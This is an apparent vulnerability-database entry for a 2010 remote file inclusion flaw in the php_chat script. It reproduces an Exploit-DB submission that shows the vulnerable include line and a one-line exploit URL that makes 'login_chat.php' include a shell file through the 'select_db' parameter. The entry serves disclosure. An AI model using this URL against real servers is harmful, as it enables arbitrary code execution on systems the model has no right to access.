php_chat Remote File inclusion Vulnerability

vendor:

php_chat

by:

HaCkEr arar

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: php_chat

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2010

php_chat Remote File inclusion Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'select_db' parameter to the 'login_chat.php' script. A remote attacker can send a specially crafted HTTP request containing an arbitrary file name in the 'select_db' parameter, which will be included and executed by the vulnerable script. This can be exploited to execute arbitrary PHP code on the vulnerable system.

Mitigation:

Input validation should be used to prevent the inclusion of malicious files.

Source

Exploit-DB raw data:

*# Exploit Title:   php_chat Remote File inclusion Vulnerability
# Date: 2010/07/20
# Author: HaCkEr arar
# Email: y.0@hotmail.de
# My Sites : www.vbspiders.com
# Script home:
http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html
# Tested on: Windows
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
# ViRuS Qalaa: em9@live.com
:::::::::::::::::::::::::
=================Exploit=================

-=[ vuln c0de ]=-
include('db/'.$select_db.'.php');
login_chat.php
Line:41

----exploit----

http://{localhost}/{path}login_chat.php?select_db=shell.txt?

---------greatz----------
Greatz to :
ViRuS Qalaa,VoLc4n0,Members www.j1q1.com

and My friends Others and My friends in MSN
EnJoY o_O*